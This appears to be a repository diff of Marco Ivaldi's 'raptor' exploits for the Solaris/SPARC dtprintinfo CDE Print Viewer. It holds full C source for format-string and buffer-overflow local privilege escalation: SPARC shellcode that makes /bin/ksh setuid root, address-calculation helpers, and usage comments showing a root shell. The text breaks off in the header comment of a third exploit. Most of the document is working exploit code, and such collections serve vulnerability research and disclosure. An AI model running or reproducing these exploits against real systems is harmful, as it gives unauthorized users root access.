     138 + "\xc0\x22\x20\x14" /* clr [ %o0 + 0x14 ] */
     139 + "\x82\x10\x20\x0b" /* mov 0xb, %g1 */
     140 + "\x91\xd0\x20\x08" /* ta 8 */
     141 + "\x80\x1c\x40\x11" /* xor %l1, %l1, %g0 ! nop */
     142 + "\x41\x41\x41\x41" /* placeholder */
     143 + "/bin/ksh";
     144 +#else
     145 + char sc[] = /* Solaris/SPARC chmod() shellcode (12 + 32 + 20 = 64 bytes) */
     146 + /* setuid(0) */
     147 + "\x90\x08\x3f\xff" /* and %g0, -1, %o0 */
     148 + "\x82\x10\x20\x17" /* mov 0x17, %g1 */
     149 + "\x91\xd0\x20\x08" /* ta 8 */
     150 + /* chmod("/bin/ksh", 037777777777) */
     151 + "\x92\x20\x20\x01" /* sub %g0, 1, %o1 */
     152 + "\x20\xbf\xff\xff" /* bn,a <sc - 4> */
     153 + "\x20\xbf\xff\xff" /* bn,a <sc> */
     154 + "\x7f\xff\xff\xff" /* call <sc + 4> */
     155 + "\x90\x03\xe0\x20" /* add %o7, 0x20, %o0 */
     156 + "\xc0\x22\x20\x08" /* clr [ %o0 + 8 ] */
     157 + "\x82\x10\x20\x0f" /* mov 0xf, %g1 */
     158 + "\x91\xd0\x20\x08" /* ta 8 */
     159 + /* exit(0) */
     160 + "\x90\x08\x3f\xff" /* and %g0, -1, %o0 */
     161 + "\x82\x10\x20\x01" /* mov 1, %g1 */
     162 + "\x91\xd0\x20\x08" /* ta 8 */
     163 + "/bin/ksh";
     164 +#endif /* USE_EXEC_SC */
     165 + 
     166 +/* globals */
     167 +char *arg[2] = {"foo", NULL};
     168 +char *env[256];
     169 +int env_pos = 0, env_len = 0;
     170 + 
     171 +/* prototypes */
     172 +int add_env(char *string);
     173 +void check_zero(int addr, char *pattern);
     174 +int get_env_addr(char *path, char **argv);
     175 +int search_ldso(char *sym);
     176 +int search_rwx_mem(void);
     177 +void set_val(char *buf, int pos, int val);
     178 + 
     179 +/*
     180 + * main()
     181 + */
     182 +int main(int argc, char **argv)
     183 +{
     184 + char buf[BUFSIZE], *p = buf, buf2[BUFSIZE2];
     185 + char platform[256], release[256], display[256];
     186 + int env_addr, sc_addr, retloc = RETLOC, i0loc, i1loc, i7loc;
     187 + int offset = OFFSET;
     188 + 
     189 + int sb = ((int)argv[0] | 0xffff) & 0xfffffffc;
     190 + int ret = search_ldso("sprintf");
     191 + int rwx_mem = search_rwx_mem() + 24; /* stable address */
     192 + 
     193 + int i, stackpops = STACKPOPS;
     194 + unsigned char b1, b2, b3, b4;
     195 + unsigned base, n[16]; /* must be unsigned */
     196 + 
     197 + /* lpstat code to add a fake printer */
     198 + if (!strcmp(argv[0], "lpstat")) {
     199 + 
     200 + /* check command line */
     201 + if (argc != 2)
     202 + exit(1);
     203 + 
     204 + /* print the expected output and exit */
     205 + if(!strcmp(argv[1], "-v")) {
     206 + fprintf(stderr, "lpstat called with -v\n");
     207 + printf("device for fnord: /dev/null\n");
     208 + } else {
     209 + fprintf(stderr, "lpstat called with -d\n");
     210 + printf("system default destination: fnord\n");
     211 + }
     212 + exit(0);
     213 + }
     214 + 
     215 + /* helper program that prints argv[0] address, used by get_env_addr() */
     216 + if (!strcmp(argv[0], "foo")) {
     217 + printf("0x%p\n", argv[0]);
     218 + exit(0);
     219 + }
     220 + 
     221 + /* print exploit information */
     222 + fprintf(stderr, "%s\n%s\n\n", INFO1, INFO2);
     223 + 
     224 + /* process command line */
     225 + if ((argc < 2) || (argc > 4)) {
     226 +#ifdef USE_EXEC_SC
     227 + fprintf(stderr, "usage: %s xserver:display [retloc] [offset]\n\n", argv[0]);
     228 +#else
     229 + fprintf(stderr, "usage:\n$ %s xserver:display [retloc] [offset]\n$ /bin/ksh\n\n", argv[0]);
     230 +#endif /* USE_EXEC_SC */
     231 + exit(1);
     232 + }
     233 + sprintf(display, "DISPLAY=%s", argv[1]);
     234 + if (argc > 2)
     235 + retloc = (int)strtoul(argv[2], (char **)NULL, 0);
     236 + if (argc > 3)
     237 + offset = (int)strtoul(argv[3], (char **)NULL, 0);
     238 + 
     239 + /* calculate saved %i0 and %i7 locations based on retloc */
     240 + i0loc = retloc + offset;
     241 + i1loc = i0loc + 4;
     242 + i7loc = i0loc + 28;
     243 + 
     244 + /* evil env var: name + shellcode + padding */
     245 + memset(buf, 'A', sizeof(buf));
     246 + buf[sizeof(buf) - 1] = 0x0;
     247 + memcpy(buf, "REQ_DIR=", strlen("REQ_DIR="));
     248 + p += strlen("REQ_DIR=");
     249 + 
     250 + /* padding buffer to avoid stack overflow */
     251 + memset(buf2, 'B', sizeof(buf2));
     252 + buf2[sizeof(buf2) - 1] = 0x0;
     253 + 
     254 + /* fill the envp, keeping padding */
     255 + add_env(buf2);
     256 + add_env(buf);
     257 + add_env(display);
     258 + add_env("TMP_DIR=/tmp");
     259 + add_env("PATH=.:/usr/bin");
     260 + sc_addr = add_env("HOME=/tmp");
     261 + add_env(sc);
     262 + add_env(NULL);
     263 + 
     264 + /* calculate the needed addresses */
     265 + env_addr = get_env_addr(VULN, argv);
     266 + sc_addr += env_addr;
     267 + 
     268 +#ifdef USE_EXEC_SC
     269 + /* populate exec shellcode placeholder */
     270 + set_val(sc, 48, sb - 1024);
     271 +#endif /* USE_EXEC_SC */
     272 + 
     273 + /* format string: saved ret */
     274 + *((void **)p) = (void *)(retloc); p += 4; /* 0x000000ff */
     275 + memset(p, 'A', 4); p += 4; /* dummy */
     276 + *((void **)p) = (void *)(retloc); p += 4; /* 0x00ff0000 */
     277 + memset(p, 'A', 4); p += 4; /* dummy */
     278 + *((void **)p) = (void *)(retloc); p += 4; /* 0xff000000 */
     279 + memset(p, 'A', 4); p += 4; /* dummy */
     280 + *((void **)p) = (void *)(retloc + 2); p += 4; /* 0x0000ff00 */
     281 + memset(p, 'A', 4); p += 4; /* dummy */
     282 + 
     283 + /* format string: saved %i0: 1st arg to sprintf() */
     284 + *((void **)p) = (void *)(i0loc); p += 4; /* 0x000000ff */
     285 + memset(p, 'A', 4); p += 4; /* dummy */
     286 + *((void **)p) = (void *)(i0loc); p += 4; /* 0x00ff0000 */
     287 + memset(p, 'A', 4); p += 4; /* dummy */
     288 + *((void **)p) = (void *)(i0loc); p += 4; /* 0xff000000 */
     289 + memset(p, 'A', 4); p += 4; /* dummy */
     290 + *((void **)p) = (void *)(i0loc + 2); p += 4; /* 0x0000ff00 */
     291 + memset(p, 'A', 4); p += 4; /* dummy */
     292 + 
     293 + /* format string: saved %i7: return address */
     294 + *((void **)p) = (void *)(i7loc); p += 4; /* 0x000000ff */
     295 + memset(p, 'A', 4); p += 4; /* dummy */
     296 + *((void **)p) = (void *)(i7loc); p += 4; /* 0x00ff0000 */
     297 + memset(p, 'A', 4); p += 4; /* dummy */
     298 + *((void **)p) = (void *)(i7loc); p += 4; /* 0xff000000 */
     299 + memset(p, 'A', 4); p += 4; /* dummy */
     300 + *((void **)p) = (void *)(i7loc + 2); p += 4; /* 0x0000ff00 */
     301 + memset(p, 'A', 4); p += 4; /* dummy */
     302 + 
     303 + /* format string: saved %i1: 2nd arg to sprintf() */
     304 + *((void **)p) = (void *)(i1loc); p += 4; /* 0x000000ff */
     305 + memset(p, 'A', 4); p += 4; /* dummy */
     306 + *((void **)p) = (void *)(i1loc); p += 4; /* 0x00ff0000 */
     307 + memset(p, 'A', 4); p += 4; /* dummy */
     308 + *((void **)p) = (void *)(i1loc); p += 4; /* 0xff000000 */
     309 + memset(p, 'A', 4); p += 4; /* dummy */
     310 + *((void **)p) = (void *)(i1loc + 2); p += 4; /* 0x0000ff00 */
     311 + 
     312 + /* format string: stackpop sequence */
     313 + base = p - buf - strlen("REQ_DIR=");
     314 + for (i = 0; i < stackpops; i++, p += strlen(STACKPOPSEQ), base += 8)
     315 + memcpy(p, STACKPOPSEQ, strlen(STACKPOPSEQ));
     316 + 
     317 + /* calculate numeric arguments for retloc */
     318 + SPLITB(b1, b2, b3, b4, (ret - 4));
     319 + CALCARGS(n[0], n[1], n[2], n[3], b1, b2, b3, b4, base);
     320 + 
     321 + /* calculate numeric arguments for i0loc */
     322 + SPLITB(b1, b2, b3, b4, rwx_mem);
     323 + CALCARGS(n[4], n[5], n[6], n[7], b1, b2, b3, b4, base);
     324 + 
     325 + /* calculate numeric arguments for i7loc */
     326 + SPLITB(b1, b2, b3, b4, (rwx_mem - 8));
     327 + CALCARGS(n[8], n[9], n[10], n[11], b1, b2, b3, b4, base);
     328 + 
     329 + /* calculate numeric arguments for i1loc */
     330 + SPLITB(b1, b2, b3, b4, sc_addr);
     331 + CALCARGS(n[12], n[13], n[14], n[15], b1, b2, b3, b4, base);
     332 + 
     333 + /* check for potentially dangerous numeric arguments below 10 */
     334 + for (i = 0; i < 16; i++)
     335 + n[i] += (n[i] < 10) ? (0x100) : (0);
     336 + 
     337 + /* format string: write string */
     338 + sprintf(p, "%%.%dx%%n%%.%dx%%hn%%.%dx%%hhn%%.%dx%%hhn%%.%dx%%n%%.%dx%%hn%%.%dx%%hhn%%.%dx%%hhn%%.%dx%%n%%.%dx%%hn%%.%dx%%hhn%%.%dx%%hhn%%.%dx%%n%%.%dx%%hn%%.%dx%%hhn%%.%dx%%hhn", n[0], n[1], n[2], n[3], n[4], n[5], n[6], n[7], n[8], n[9], n[10], n[11], n[12], n[13], n[14], n[15]);
     339 + buf[strlen(buf)] = 'A'; /* preserve buf length */
     340 + 
     341 + /* we need at least one directory inside TMP_DIR to trigger the bug */
     342 + mkdir("/tmp/one_dir", S_IRWXU | S_IRWXG | S_IRWXO);
     343 + 
     344 + /* create a symlink for the fake lpstat */
     345 + unlink("lpstat");
     346 + symlink(argv[0], "lpstat");
     347 + 
     348 + /* print some output */
     349 + sysinfo(SI_PLATFORM, platform, sizeof(platform) - 1);
     350 + sysinfo(SI_RELEASE, release, sizeof(release) - 1);
     351 + fprintf(stderr, "Using SI_PLATFORM\t: %s (%s)\n", platform, release);
     352 + fprintf(stderr, "Using stack base\t: 0x%p\n", (void *)sb);
     353 + fprintf(stderr, "Using ret location\t: 0x%p\n", (void *)retloc);
     354 + fprintf(stderr, "Using %%i0 location\t: 0x%p\n", (void *)i0loc);
     355 + fprintf(stderr, "Using %%i1 location\t: 0x%p\n", (void *)i1loc);
     356 + fprintf(stderr, "Using %%i7 location\t: 0x%p\n", (void *)i7loc);
     357 + fprintf(stderr, "Using rwx_mem address\t: 0x%p\n", (void *)rwx_mem);
     358 + fprintf(stderr, "Using sc address\t: 0x%p\n", (void *)sc_addr);
     359 + fprintf(stderr, "Using sprintf() address\t: 0x%p\n\n", (void *)ret);
     360 + 
     361 + /* check for null bytes (add some padding to env if needed) */
     362 + check_zero(retloc, "ret location");
     363 + check_zero(i0loc, "%%i0 location");
     364 + check_zero(i1loc, "%%i1 location");
     365 + check_zero(i7loc, "%%i7 location");
     366 + check_zero(rwx_mem, "rwx_mem address");
     367 + check_zero(sc_addr, "sc address");
     368 + 
     369 + /* run the vulnerable program */
     370 + execve(VULN, arg, env);
     371 + perror("execve");
     372 + exit(1);
     373 +}
     374 + 
     375 +/*
     376 + * add_env(): add a variable to envp and pad if needed
     377 + */
     378 +int add_env(char *string)
     379 +{
     380 + int i;
     381 + 
     382 + /* null termination */
     383 + if (!string) {
     384 + env[env_pos] = NULL;
     385 + return env_len;
     386 + }
     387 + 
     388 + /* add the variable to envp */
     389 + env[env_pos] = string;
     390 + env_len += strlen(string) + 1;
     391 + env_pos++;
     392 + 
     393 + /* pad the envp using zeroes */
     394 + if ((strlen(string) + 1) % 4)
     395 + for (i = 0; i < (4 - ((strlen(string)+1)%4)); i++, env_pos++) {
     396 + env[env_pos] = string + strlen(string);
     397 + env_len++;
     398 + }
     399 + 
     400 + return env_len;
     401 +}
     402 + 
     403 +/*
     404 + * check_zero(): check an address for the presence of a 0x00
     405 + */
     406 +void check_zero(int addr, char *pattern)
     407 +{
     408 + if (!(addr & 0xff) || !(addr & 0xff00) || !(addr & 0xff0000) ||
     409 + !(addr & 0xff000000)) {
     410 + fprintf(stderr, "error: %s contains a 0x00!\n", pattern);
     411 + exit(1);
     412 + }
     413 +}
     414 + 
     415 +/*
     416 + * get_env_addr(): get environment address using a helper program
     417 + */
     418 +int get_env_addr(char *path, char **argv)
     419 +{
     420 + char prog[] = "./AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
     421 + char hex[11] = "\x00";
     422 + int fd[2], addr;
     423 + 
     424 + /* truncate program name at correct length and create a hard link */
     425 + prog[strlen(path)] = 0x0;
     426 + unlink(prog);
     427 + link(argv[0], prog);
     428 + 
     429 + /* open pipe to read program output */
     430 + if (pipe(fd) < 0) {
     431 + perror("pipe");
     432 + exit(1);
     433 + }
     434 + 
     435 + switch(fork()) {
     436 + 
     437 + case -1: /* cannot fork */
     438 + perror("fork");
     439 + exit(1);
     440 + 
     441 + case 0: /* child */
     442 + dup2(fd[1], 1);
     443 + close(fd[0]);
     444 + close(fd[1]);
     445 + execve(prog, arg, env);
     446 + perror("execve");
     447 + exit(1);
     448 + 
     449 + default: /* parent */
     450 + close(fd[1]);
     451 + read(fd[0], hex, sizeof(hex));
     452 + break;
     453 + }
     454 + 
     455 + /* check and return address */
     456 + if (!(addr = (int)strtoul(hex, (char **)NULL, 0))) {
     457 + fprintf(stderr, "error: cannot read ff address from helper program\n");
     458 + exit(1);
     459 + }
     460 + return addr + 4;
     461 +}
     462 + 
     463 +/*
     464 + * search_ldso(): search for a symbol inside ld.so.1
     465 + */
     466 +int search_ldso(char *sym)
     467 +{
     468 + int addr;
     469 + void *handle;
     470 + Link_map *lm;
     471 + 
     472 + /* open the executable object file */
     473 + if ((handle = dlmopen(LM_ID_LDSO, NULL, RTLD_LAZY)) == NULL) {
     474 + perror("dlopen");
     475 + exit(1);
     476 + }
     477 + 
     478 + /* get dynamic load information */
     479 + if ((dlinfo(handle, RTLD_DI_LINKMAP, &lm)) == -1) {
     480 + perror("dlinfo");
     481 + exit(1);
     482 + }
     483 + 
     484 + /* search for the address of the symbol */
     485 + if ((addr = (int)dlsym(handle, sym)) == NULL) {
     486 + fprintf(stderr, "error: sorry, function %s() not found\n", sym);
     487 + exit(1);
     488 + }
     489 + 
     490 + /* close the executable object file */
     491 + dlclose(handle);
     492 + 
     493 + check_zero(addr - 4, sym);
     494 + return addr;
     495 +}
     496 + 
     497 +/*
     498 + * search_rwx_mem(): search for an RWX memory segment valid for all
     499 + * programs (typically, /usr/lib/ld.so.1) using the proc filesystem
     500 + */
     501 +int search_rwx_mem(void)
     502 +{
     503 + int fd;
     504 + char tmp[16];
     505 + prmap_t map;
     506 + int addr = 0, addr_old;
     507 + 
     508 + /* open the proc filesystem */
     509 + sprintf(tmp,"/proc/%d/map", (int)getpid());
     510 + if ((fd = open(tmp, O_RDONLY)) < 0) {
     511 + fprintf(stderr, "error: can't open %s\n", tmp);
     512 + exit(1);
     513 + }
     514 + 
     515 + /* search for the last RWX memory segment before stack (last - 1) */
     516 + while (read(fd, &map, sizeof(map)))
     517 + if (map.pr_vaddr)
     518 + if (map.pr_mflags & (MA_READ | MA_WRITE | MA_EXEC)) {
     519 + addr_old = addr;
     520 + addr = map.pr_vaddr;
     521 + }
     522 + close(fd);
     523 + 
     524 + /* add 4 to the exact address null bytes */
     525 + if (!(addr_old & 0xff))
     526 + addr_old |= 0x04;
     527 + if (!(addr_old & 0xff00))
     528 + addr_old |= 0x0400;
     529 + 
     530 + return addr_old;
     531 +}
     532 + 
     533 +/*
     534 + * set_val(): copy a dword inside a buffer
     535 + */
     536 +void set_val(char *buf, int pos, int val)
     537 +{
     538 + buf[pos] = (val & 0xff000000) >> 24;
     539 + buf[pos + 1] = (val & 0x00ff0000) >> 16;
     540 + buf[pos + 2] = (val & 0x0000ff00) >> 8;
     541 + buf[pos + 3] = (val & 0x000000ff);
     542 +}
     543 + 
  • ■ ■ ■ ■ ■ ■
    solaris/raptor_dtprintcheckdir_sparc2.c
     1 +/*
     2 + * raptor_dtprintcheckdir_sparc2.c - Solaris/SPARC FMT LPE
     3 + * Copyright (c) 2020 Marco Ivaldi <[email protected]>
     4 + *
     5 + * "You still haven't given up on me?" -- Bruce Wayne
     6 + * "Never!" -- Alfred Pennyworth
     7 + *
     8 + * I would like to thank ~A. for his incredible research work spanning decades,
     9 + * an endless source of inspiration for me.
     10 + *
     11 + * Whoah, this one wasn't easy! This is a pretty lean exploit now, but its
     12 + * development took me some time. It's been almost two weeks, and I came
     13 + * close to giving up a couple of times. Here's a summary of the main
     14 + * roadblocks and complications I ran into while porting my dtprintinfo
     15 + * format string exploit to SPARC:
     16 + *
     17 + * - Half word writes and similar techniques that need to print a large amount
     18 + * of chars are problematic, because we have both a format string bug and a
     19 + * stack-based buffer overflow, and we risk running out of stack space! We
     20 + * might be able to prevent this by increasing the size of the padding buffer,
     21 + * (buf2) but your mileage may vary.
     22 + *
     23 + * - I therefore opted for a more portable single-byte write, but SPARC is a
     24 + * RISC architecture and as such it's not happy with memory operations on
     25 + * misaligned addresses... So I had to figure out a possibly novel technique
     26 + * to prevent the dreaded Bus Error. It involves the %hhn format string, check
     27 + * it out!
     28 + *
     29 + * - Once I had my write-what primitive figured out, I needed to pick a suitable
     30 + * memory location to patch... and I almost ran out of options. Function
     31 + * activation records turned out to be cumbersome and unreliable (see my PoC
     32 + * raptor_dtprintcheckdir_sparc.c), .plt entries in the vulnerable binary
     33 + * start with a null byte, and the usual OS function pointers that were
     34 + * popular targets 15 years ago are not present in modern Solaris 10 releases
     35 + * anymore. Finally, I noticed that the libc also contains .plt jump codes
     36 + * that get executed upon function calling. Since they don't start with a null
     37 + * byte, I decided to target them.
     38 + *
     39 + * - Instead of meddling with jump codes, to keep things simpler I decided to
     40 + * craft the shellcode directly in the .plt section of libc by exploiting the
     41 + * format string bug. This technique proved to be very effective, but
     42 + * empirical tests showed that (for unknown reasons) the shellcode size was
     43 + * limited to 36 bytes. It looks like there's a limit on the number of args,
     44 + * to sprintf(), unrelated to where we write in memory. Who cares, 36 bytes
     45 + * are just enough to escalate privileges.
     46 + *
     47 + * After I plugged a small custom shellcode into my exploit, it worked like a
     48 + * charm. Simple, isn't it?;)
     49 + *
     50 + * To get the libc base, use pmap on the dtprintinfo process, e.g.:
     51 + * $ pmap 4190 | grep libc.so.1 | grep r-x
     52 + * FE800000 1224K r-x-- /lib/libc.so.1
     53 + *
     54 + * To grab the offset to strlen in .plt, you can use objdump as follows:
     55 + * $ objdump -R /usr/lib/libc.so.1 | grep strlen
     56 + * 0014369c R_SPARC_JMP_SLOT strlen
     57 + *
     58 + * This bug was likely fixed during the general cleanup of CDE code done by
     59 + * Oracle in response to my recently reported vulnerabilities. However, I can't
     60 + * confirm this because I have no access to their patches:/
     61 + *
     62 + * See also:
     63 + * raptor_dtprintcheckdir_intel.c (vulnerability found by Marti Guasch Jimenez)
     64 + * raptor_dtprintcheckdir_intel2.c
     65 + * raptor_dtprintcheckdir_sparc.c (just a proof of concept)
     66 + *
     67 + * Usage:
     68 + * $ gcc raptor_dtprintcheckdir_sparc2.c -o raptor_dtprintcheckdir_sparc2 -Wall
     69 + * [on your xserver: disable the access control]
     70 + * $ ./raptor_dtprintcheckdir_sparc2 10.0.0.104:0
     71 + * raptor_dtprintcheckdir_sparc2.c - Solaris/SPARC FMT LPE
     72 + * Copyright (c) 2020 Marco Ivaldi <[email protected]>
     73 + *
     74 + * Using SI_PLATFORM : SUNW,SPARC-Enterprise (5.10)
     75 + * Using libc/.plt/strlen : 0xfe94369c
     76 + *
     77 + * Don't worry if you get a SIGILL, just run /bin/ksh anyway!
     78 + *
     79 + * lpstat called with -v
     80 + * lpstat called with -v
     81 + * lpstat called with -d
     82 + * [on your xserver: double click on the fake "fnord" printer]
     83 + * Illegal Instruction
     84 + * $ ls -l /bin/ksh
     85 + * -rwsrwsrwx 3 root bin 209288 Feb 21 2012 /bin/ksh
     86 + * $ ksh
     87 + * # id
     88 + * uid=100(user) gid=1(other) euid=0(root) egid=2(bin)
     89 + * #
     90 + *
     91 + * Tested on:
     92 + * SunOS 5.10 Generic_Virtual sun4u sparc SUNW,SPARC-Enterprise
     93 + * [previous Solaris versions are also likely vulnerable (and easier to exploit)]
     94 + */
     95 + 
     96 +#include <fcntl.h>
     97 +#include <link.h>
     98 +#include <procfs.h>
     99 +#include <stdio.h>
     100 +#include <stdlib.h>
     101 +#include <strings.h>
     102 +#include <unistd.h>
     103 +#include <sys/stat.h>
     104 +#include <sys/systeminfo.h>
     105 + 
     106 +#define INFO1 "raptor_dtprintcheckdir_sparc2.c - Solaris/SPARC FMT LPE"
     107 +#define INFO2 "Copyright (c) 2020 Marco Ivaldi <[email protected]>"
     108 + 
     109 +#define VULN "/usr/dt/bin/dtprintinfo" // vulnerable program
     110 +#define BUFSIZE 3000 // size of evil env var
     111 +#define BUFSIZE2 10000 // size of padding buf
     112 +#define STACKPOPSEQ "%.8x" // stackpop sequence
     113 +#define STACKPOPS 383 // number of stackpops
     114 + 
     115 +/* default retloc is .plt/strlen in libc */
     116 +#define LIBCBASE 0xfe800000 // base address of libc
     117 +#define STRLEN 0x0014369c // .plt/strlen offset
     118 + 
     119 +/* calculate numeric arguments for write string */
     120 +#define CALCARGS(N1, N2, N3, N4, B1, B2, B3, B4, BASE) { \
     121 + N1 = (B4 - BASE) % 0x100; \
     122 + N2 = (B2 - BASE - N1) % 0x100; \
     123 + N3 = (B1 - BASE - N1 - N2) % 0x100; \
     124 + N4 = (B3 - BASE - N1 - N2 - N3) % 0x100; \
     125 + BASE += N1 + N2 + N3 + N4; \
     126 +}
     127 + 
     128 +char sc[] = /* Solaris/SPARC chmod() shellcode (max size is 36 bytes) */
     129 +/* chmod("./me", 037777777777) */
     130 +"\x92\x20\x20\x01" /* sub %g0, 1, %o1 */
     131 +"\x20\xbf\xff\xff" /* bn,a <sc - 4> */
     132 +"\x20\xbf\xff\xff" /* bn,a <sc> */
     133 +"\x7f\xff\xff\xff" /* call <sc + 4> */
     134 +"\x90\x03\xe0\x14" /* add %o7, 0x14, %o0 */
     135 +"\xc0\x22\x20\x04" /* clr [ %o0 + 4 ] */
     136 +"\x82\x10\x20\x0f" /* mov 0xf, %g1 */
     137 +"\x91\xd0\x20\x08" /* ta 8 */
     138 +"./me";
     139 + 
     140 +/* globals */
     141 +char *arg[2] = {"foo", NULL};
     142 +char *env[256];
     143 +int env_pos = 0, env_len = 0;
     144 + 
     145 +/* prototypes */
     146 +int add_env(char *string);
     147 +void check_zero(int addr, char *pattern);
     148 + 
     149 +/*
     150 + * main()
     151 + */
     152 +int main(int argc, char **argv)
     153 +{
     154 + char buf[BUFSIZE], *p = buf, buf2[BUFSIZE2];
     155 + char platform[256], release[256], display[256];
     156 + int retloc = LIBCBASE + STRLEN;
     157 + 
     158 + int i, stackpops = STACKPOPS;
     159 + unsigned base, n[strlen(sc)]; /* must be unsigned */
     160 + 
     161 + /* lpstat code to add a fake printer */
     162 + if (!strcmp(argv[0], "lpstat")) {
     163 + 
     164 + /* check command line */
     165 + if (argc != 2)
     166 + exit(1);
     167 + 
     168 + /* print the expected output and exit */
     169 + if(!strcmp(argv[1], "-v")) {
     170 + fprintf(stderr, "lpstat called with -v\n");
     171 + printf("device for fnord: /dev/null\n");
     172 + } else {
     173 + fprintf(stderr, "lpstat called with -d\n");
     174 + printf("system default destination: fnord\n");
     175 + }
     176 + exit(0);
     177 + }
     178 + 
     179 + /* print exploit information */
     180 + fprintf(stderr, "%s\n%s\n\n", INFO1, INFO2);
     181 + 
     182 + /* process command line */
     183 + if (argc < 2) {
     184 + fprintf(stderr, "usage:\n$ %s xserver:display [retloc]\n$ /bin/ksh\n\n", argv[0]);
     185 + exit(1);
     186 + }
     187 + sprintf(display, "DISPLAY=%s", argv[1]);
     188 + if (argc > 2)
     189 + retloc = (int)strtoul(argv[2], (char **)NULL, 0);
     190 + 
     191 + /* evil env var: name + shellcode + padding */
     192 + bzero(buf, sizeof(buf));
     193 + memcpy(buf, "REQ_DIR=", strlen("REQ_DIR="));
     194 + p += strlen("REQ_DIR=");
     195 + 
     196 + /* padding buffer to avoid stack overflow */
     197 + memset(buf2, 'B', sizeof(buf2));
     198 + buf2[sizeof(buf2) - 1] = 0x0;
     199 + 
     200 + /* fill the envp, keeping padding */
     201 + add_env(buf2);
     202 + add_env(buf);
     203 + add_env(display);
     204 + add_env("TMP_DIR=/tmp/just"); /* we must control this empty dir */
     205 + add_env("PATH=.:/usr/bin");
     206 + add_env("HOME=/tmp");
     207 + add_env(NULL);
     208 + 
     209 + /* format string: retloc */
     210 + for (i = retloc; i - retloc < strlen(sc); i += 4) {
     211 + check_zero(i, "ret location");
     212 + *((void **)p) = (void *)(i); p += 4; /* 0x000000ff */
     213 + memset(p, 'A', 4); p += 4; /* dummy */
     214 + *((void **)p) = (void *)(i); p += 4; /* 0x00ff0000 */
     215 + memset(p, 'A', 4); p += 4; /* dummy */
     216 + *((void **)p) = (void *)(i); p += 4; /* 0xff000000 */
     217 + memset(p, 'A', 4); p += 4; /* dummy */
     218 + *((void **)p) = (void *)(i + 2); p += 4; /* 0x0000ff00 */
     219 + memset(p, 'A', 4); p += 4; /* dummy */
     220 + }
     221 + 
     222 + /* format string: stackpop sequence */
     223 + base = p - buf - strlen("REQ_DIR=");
     224 + for (i = 0; i < stackpops; i++, p += strlen(STACKPOPSEQ), base += 8)
     225 + memcpy(p, STACKPOPSEQ, strlen(STACKPOPSEQ));
     226 + 
     227 + /* calculate numeric arguments */
     228 + for (i = 0; i < strlen(sc); i += 4)
     229 + CALCARGS(n[i], n[i + 1], n[i + 2], n[i + 3], sc[i], sc[i + 1], sc[i + 2], sc[i + 3], base);
     230 +
     231 + /* check for potentially dangerous numeric arguments below 10 */
     232 + for (i = 0; i < strlen(sc); i++)
     233 + n[i] += (n[i] < 10) ? (0x100) : (0);
     234 + 
     235 + /* format string: write string */
     236 + for (i = 0; i < strlen(sc); i += 4)
     237 + p += sprintf(p, "%%.%dx%%n%%.%dx%%hn%%.%dx%%hhn%%.%dx%%hhn", n[i], n[i + 1], n[i + 2], n[i + 3]);
     238 + 
     239 + /* setup the directory structure and the symlink to /bin/ksh */
     240 + unlink("/tmp/just/chmod/me");
     241 + rmdir("/tmp/just/chmod");
     242 + rmdir("/tmp/just");
     243 + mkdir("/tmp/just", S_IRWXU | S_IRWXG | S_IRWXO);
     244 + mkdir("/tmp/just/chmod", S_IRWXU | S_IRWXG | S_IRWXO);
     245 + symlink("/bin/ksh", "/tmp/just/chmod/me");
     246 + 
     247 + /* create a symlink for the fake lpstat */
     248 + unlink("lpstat");
     249 + symlink(argv[0], "lpstat");
     250 + 
     251 + /* print some output */
     252 + sysinfo(SI_PLATFORM, platform, sizeof(platform) - 1);
     253 + sysinfo(SI_RELEASE, release, sizeof(release) - 1);
     254 + fprintf(stderr, "Using SI_PLATFORM\t: %s (%s)\n", platform, release);
     255 + fprintf(stderr, "Using libc/.plt/strlen\t: 0x%p\n\n", (void *)retloc);
     256 + fprintf(stderr, "Don't worry if you get a SIGILL, just run /bin/ksh anyway!\n\n");
     257 + 
     258 + /* run the vulnerable program */
     259 + execve(VULN, arg, env);
     260 + perror("execve");
     261 + exit(1);
     262 +}
     263 + 
     264 +/*
     265 + * add_env(): add a variable to envp and pad if needed
     266 + */
     267 +int add_env(char *string)
     268 +{
     269 + int i;
     270 + 
     271 + /* null termination */
     272 + if (!string) {
     273 + env[env_pos] = NULL;
     274 + return env_len;
     275 + }
     276 + 
     277 + /* add the variable to envp */
     278 + env[env_pos] = string;
     279 + env_len += strlen(string) + 1;
     280 + env_pos++;
     281 + 
     282 + /* pad the envp using zeroes */
     283 + if ((strlen(string) + 1) % 4)
     284 + for (i = 0; i < (4 - ((strlen(string)+1)%4)); i++, env_pos++) {
     285 + env[env_pos] = string + strlen(string);
     286 + env_len++;
     287 + }
     288 + 
     289 + return env_len;
     290 +}
     291 + 
     292 +/*
     293 + * check_zero(): check an address for the presence of a 0x00
     294 + */
     295 +void check_zero(int addr, char *pattern)
     296 +{
     297 + if (!(addr & 0xff) || !(addr & 0xff00) || !(addr & 0xff0000) ||
     298 + !(addr & 0xff000000)) {
     299 + fprintf(stderr, "error: %s contains a 0x00!\n", pattern);
     300 + exit(1);
     301 + }
     302 +}
     303 + 
  • ■ ■ ■ ■ ■ ■
    solaris/raptor_dtprintname_sparc3.c
     1 +/*
     2 + * raptor_dtprintname_sparc3.c - dtprintinfo on Solaris 10 SPARC
     3 + * Copyright (c) 2004-2020 Marco Ivaldi <[email protected]>
     4 + *
     5 + * 0day buffer overflow in the dtprintinfo(1) CDE Print Viewer, leading to
     6 + * local root. Many thanks to Dave Aitel for discovering this vulnerability
     7 + * and for his interesting research activities on Solaris/SPARC.
     8 + *
     9 + * "None of my dtprintinfo work is public, other than that 0day pack being
     10 + * leaked to all hell and back. It should all basically still work. Let's
     11 + * keep it that way, cool? :>" -- Dave Aitel
     12 + *
     13 + * This is a revised version of my original exploit that should work on
     14 + * modern Solaris 10 SPARC boxes. I had to figure out a new way to obtain
     15 + * the needed addresses that's hopefully universal (goodbye VOODOO macros!).
     16 + * and I had to work around some annoying crashes, which led me to write
     17 + * a custom shellcode that makes /bin/ksh setuid. Crude but effective;)
     18 + * If you feel brave, you can also try my experimental exec shellcode, for
     19 + * SPARC V8 plus and above architectures only ("It works on my computer!").
     20 + *
     21 + * I'm developing my exploits on a Solaris 10 Branded Zone and I strongly
     22 + * suspect this is the reason for the weird behavior in the execution of
     23 + * standard SYS_exec shellcodes, because the crash happens in s10_brand.so.1,
     24 + * in the strncmp() function called by brand_uucopystr(). If that's indeed
     25 + * the case, any shellcode (including lsd-pl.net's classic shellcode) should
